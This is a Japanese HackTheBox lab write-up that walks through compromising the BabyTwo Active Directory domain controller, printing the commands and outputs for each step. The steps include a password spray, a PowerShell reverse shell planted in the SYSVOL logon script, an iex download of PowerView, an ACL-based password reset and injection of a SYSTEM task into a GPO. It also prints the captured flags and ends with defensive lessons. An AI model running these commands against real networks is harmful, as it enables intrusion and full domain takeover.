HackTheBox: BabyTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (baby2.vl)
→
AD DC (baby2.vl)
guest SMB homes共有
ユーザー名一覧を列挙
→
ユーザー名一覧を列挙
username=passwordスプレー
Carl.Moore:Carl.Moore
→
Carl.Moore:Carl.Moore
SYSVOL login.vbs改ざん
PSリバースシェル埋め込み
→
PSリバースシェル埋め込み
自動ログイン待機
amelia.griffiths → user.txt ✓
→
amelia.griffiths → user.txt ✓
BloodHound ACLチェーン
legacy WriteDacl→gpoadm
→
legacy WriteDacl→gpoadm
PowerView + pyGPOAbuse
Default Domain PolicyへSYSTEMタスク注入
→
Default Domain PolicyへSYSTEMタスク注入
gpupdate → SYSTEM
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
ports=$(nmap -p- --min-rate=1000 -Pn -T4 10.129.234.72 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -Pn -sC -sV 10.129.234.72
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl) | ssl-cert: Subject: commonName=dc.baby2.vl 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 51029/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 Domain: baby2.vl / DC: dc.baby2.vl
ℹ️
SMB(445)/LDAP(389)/Kerberos(88)からドメインコントローラと判明。
ドメイン名
baby2.vl、DCホスト名dc.baby2.vlを
/etc/hostsに追加しておく。
SMB guest アクセス確認
BASH
echo "10.129.234.72 baby2.vl dc.baby2.vl" | sudo tee -a /etc/hosts netexec smb baby2.vl -u 'guest' -p '' --shares
RESULT
SMB ... [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False) SMB ... [+] baby2.vl\guest: SMB ... [*] Enumerated shares Share Permissions Remark ----- ----------- ------ ADMIN$ Remote Admin apps READ C$ Default share docs homes READ,WRITE IPC$ READ Remote IPC NETLOGON READ Logon server share SYSVOL READ Logon server share
✅
guestで匿名アクセス可能かつ
homes共有にREAD,WRITE
権限がある。
PHASE 2
homes共有からユーザー列挙 → パスワードスプレー
homes共有のホームディレクトリ一覧からユーザー名収集
BASH
smbclient -U 'guest%' '//baby2.vl/homes' smb: \> ls
RESULT
Amelia.Griffiths Carl.Moore Harry.Shaw Joan.Jennings Joel.Hurst Kieran.Mitchell library Lynda.Bailey Mohammed.Harris Nicola.Lamb Ryan.Jenkins
ℹ️
ホームディレクトリ名 = システムユーザー名の可能性が高いためユーザーリスト化する。
username=password スプレー
BASH
netexec smb 10.129.234.72 -u users.txt -p users.txt --no-bruteforce --continue-on-success
RESULT
SMB ... [+] baby2.vl\Carl.Moore:Carl.Moore SMB ... [+] baby2.vl\library:library
✅
Carl.Mooreとlibraryの2アカウントがヒット。
より実在の一般ユーザーらしいCarl.Mooreで進める。
BASH (Carl.Mooreでの共有再列挙)
netexec smb 10.129.234.72 -u Carl.Moore -p Carl.Moore --shares
RESULT
apps READ,WRITE docs READ,WRITE homes READ,WRITE SYSVOL READ
PHASE 3
SYSVOLのログオンスクリプト(login.vbs)を改ざん → user.txt
SYSVOL内のログオンスクリプトを発見
BASH
smbclient -U 'Carl.Moore%Carl.Moore' '//baby2.vl/SYSVOL' smb: \> cd baby2.vl smb: \baby2.vl\> cd scripts smb: \baby2.vl\scripts\> ls
RESULT
login.vbs A 992 Sat Sep 2 10:55:51 2023
BASH (login.vbsの中身)
get login.vbs
RESULT (抜粋)
Sub MapNetworkShare(sharePath, driveLetter)
...
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
...
End Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
ℹ️
これはユーザーがログインするたびに実行されるログオンスクリプトで、
ネットワークドライブをマップしている。
SYSVOLへの書き込み
権限があるため、このファイルを改ざんすればログインしたユーザーの
コンテキストで任意コードを実行できる。
PowerShellリバースシェルの埋め込み
BASH (base64エンコードPSリバースシェル生成)
# revshells.com の "PowerShell #3 (Base64)" 等でIP/ポートを指定し生成
login.vbs への追記
Sub MapNetworkShare(sharePath, driveLetter)
...
End Sub
CreateObject("WScript.Shell").Run "powershell -e JABjAGwAaQBlAG4AdAAgAD0A...==", 0, True
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
BASH (SYSVOLへの再アップロード)
smbclient -U 'Carl.Moore%Carl.Moore' '//baby2.vl/SYSVOL' smb: \> cd \baby2.vl\scripts\ smb: \baby2.vl\scripts\> del login.vbs smb: \baby2.vl\scripts\> put login.vbs
RESULT
putting file login.vbs as \baby2.vl\scripts\login.vbs (4.2 kb/s) (average 4.2 kb/s)
リスナー待機 → user.txt 取得
BASH
nc -lvnp 9090
RESULT
listening on [any] 9090 ...
connect to [<kali_ip>] from (UNKNOWN) [10.129.234.72] 64196
whoami
baby2\amelia.griffiths
PS C:\Windows\system32>
✅
HTBの自動ログインシミュレーションにより数分以内に
amelia.griffithsユーザーのセッションが確立され
ログオンスクリプトが実行されシェルが返る。
BASH
type C:\user.txt
RESULT
42783b2c1483aeb70eca6810f0645c38
user.txt — amelia.griffiths
42783b2c1483aeb70eca6810f0645c38
PHASE 4
BloodHound ACLチェーン悪用 → GPO経由でSYSTEM権限奪取
BloodHoundでACLチェーンを調査
BASH
bloodhound-python -d baby2.vl -u Carl.Moore -p Carl.Moore -c all -ns 10.129.234.72 --dns-tcp
ℹ️
BloodHound UIで
1.
2.
3.
amelia.griffithsとCarl.Mooreを
Owned にマークし、amelia.griffithsの Outbound Object
Control(Transitive)を確認すると以下のACLチェーンが見える:
1.
Amelia.Griffiths は legacy グループのメンバー
2.
legacy グループは GPO-MANAGEMENT OU と
Default Domain Policy GPOへ WriteDacl を持つ
3.
GPO-MANAGEMENT OU配下の gpoadm ユーザーが
Default Domain Policy / Default Domain Controllers
Policy GPOへ GenericAll を持つ
WriteDaclを悪用してgpoadmアカウントを乗っ取り
BASH (Kali側: PowerViewをホスト)
python3 -m http.server 80
POWERSHELL (amelia.griffithsのシェル内)
iex (iwr -usebasicparsing http://<kali_ip>/PowerView.ps1) add-domainobjectacl -rights "all" -targetidentity "gpoadm" -principalidentity "Amelia.Griffiths" $cred = ConvertTo-SecureString 'Killchain123!' -AsPlainText -Force set-domainuserpassword gpoadm -accountpassword $cred
BASH (認証確認)
netexec smb 10.129.234.72 -u gpoadm -p 'Killchain123!'
RESULT
SMB ... [+] baby2.vl\gpoadm:Killchain123!
✅
Add-DomainObjectAclでgpoadmへの完全制御権を
自分自身(amelia.griffiths)に付与し、Set-DomainUserPasswordで
パスワードを変更(これらのコマンドは成功時に出力が無いため、
シェル上では何も表示されないが、この後のnetexec認証確認で
パスワード変更が反映されていることが確認できる)。
pyGPOAbuseでGPOにSYSTEM権限タスクを注入
BASH
git clone https://github.com/Hackndo/pyGPOAbuse cd pyGPOAbuse
ℹ️
BloodHoundのGPOノードのNode Info → GPO File Pathから
GPOのGUIDを取得する。
Default Domain PolicyのGUIDは
31B2F340-016D-11D2-945F-00C04FB984F9 —
これは特定インスタンスでクラックされた値ではなく、Active Directory
ドメイン作成時に必ず生成されるWindows標準の固定GUID
であり全てのADドメインで共通。
BASH
python3 pygpoabuse.py baby2.vl/gpoadm:'Killchain123!' \ -command "powershell -exec bypass -enc <base64リバースシェル>" \ -dc-ip 10.129.234.72 \ -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9"
RESULT
[+] ScheduledTask TASK_6a93e6e4 created! SUCCESS:root:ScheduledTask TASK_6a93e6e4 created!
ℹ️
Default Domain PolicyGPOはドメイン全体(DCを含む)に
リンクされているため、このScheduled TaskはDC上でSYSTEM権限で実行される。
gpupdate の実行とSYSTEMシェル取得
BASH (amelia.griffithsのシェル内、またはlogin.vbs経由で再実行)
gpupdate /force
BASH (Kali側リスナー)
nc -lvnp 9090
RESULT
listening on [any] 9090 ...
connect to [<kali_ip>] from (UNKNOWN) [10.129.234.72] 64961
whoami
nt authority\system
PS C:\Windows\system32>
✅
gpupdateによりポリシーが適用され、仕込んだScheduled
TaskがSYSTEM権限で実行される。
root.txt 取得
BASH
type C:\Users\Administrator\Desktop\root.txt
RESULT
293500962edc31fa154951eeeb5740f9
root.txt — nt authority\system
293500962edc31fa154951eeeb5740f9
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — amelia.griffiths
42783b2c1483aeb70eca6810f0645c38
root.txt — nt authority\system (DC)
293500962edc31fa154951eeeb5740f9
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 弱いユーザー名=パスワード | AD アカウント Carl.Moore | 初期ドメイン認証情報の取得 | Medium | homes共有のディレクトリ名からユーザー一覧を収集しusername=passwordスプレーでヒット |
| 書き込み可能なログオンスクリプト | SYSVOL\baby2.vl\scripts\login.vbs | 他ユーザーのコンテキストでの任意コード実行 | Critical | SYSVOLへの書き込み権限を悪用し全ドメインユーザーが実行するログオンスクリプトにリバースシェルを埋め込み |
| AD ACL誤設定(WriteDacl / GenericAll) | legacyグループ→GPO-MANAGEMENT OU→gpoadm→GPO | ドメイン全体への影響力を持つGPOの完全制御 | Critical | WriteDaclでgpoadmアカウントの完全制御権を取得しパスワードリセット、GenericAllでGPOへScheduled Taskを注入 |
| GPO経由のSYSTEM権限コード実行 | Default Domain Policy GPO | ドメインコントローラ上でのSYSTEM権限コード実行 | Critical | pyGPOAbuseでScheduled TaskをGPOに注入しgpupdateで反映、DCを含む全ドメインメンバーに適用されSYSTEM権限で実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + SMB guestアクセス確認 | AD DC (baby2.vl) 発見 |
| 2 | ユーザー列挙+スプレー | homes共有ディレクトリ列挙 + username=password | Carl.Moore:Carl.Moore |
| 3 | ログオンスクリプト改ざん | SYSVOL書込権限 + login.vbs改ざん | amelia.griffiths シェル → user.txt |
| 4 | ACL昇格 | PowerView Add-DomainObjectAcl + Set-DomainUserPassword | gpoadm:Killchain123! |
| 5 | GPO abuse | pyGPOAbuse + gpupdate | SYSTEM シェル → root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ドメインアカウントにユーザー名=パスワードという弱い組み合わせが許容されている | パスワードポリシーでユーザー名と一致/類似するパスワードを禁止し、定期的なスプレー監査を実施する。 |
| 一般ユーザーがSYSVOL(全ドメインユーザーが実行するログオンスクリプトの格納場所)へ書き込み権限を持つ | SYSVOLへの書き込み権限はDomain AdminsやGroup Policy Creator Ownersなど真に必要なグループのみに限定する。定期的にSYSVOL内スクリプトの改ざんを監視する。 |
| 一般ユーザーが所属するグループに、GPO関連オブジェクトへのWriteDacl/GenericAllという強力なACLが設定されている | BloodHound等で定期的にAD ACLを監査し、GPOやOUへの委任権限を最小権限の原則で見直す。特にDefault Domain Policyのような影響範囲の広いGPOへの書き込み権限は厳格に管理する。 |
| GPOを通じたコード実行(Scheduled Task注入)がドメイン全体、特にDCにまで影響する | GPO変更の監査ログを有効化し、Scheduled Tasksの追加を異常として検知する仕組みを導入する。GPOの変更権限を持つアカウントを厳格に管理・監視する。 |

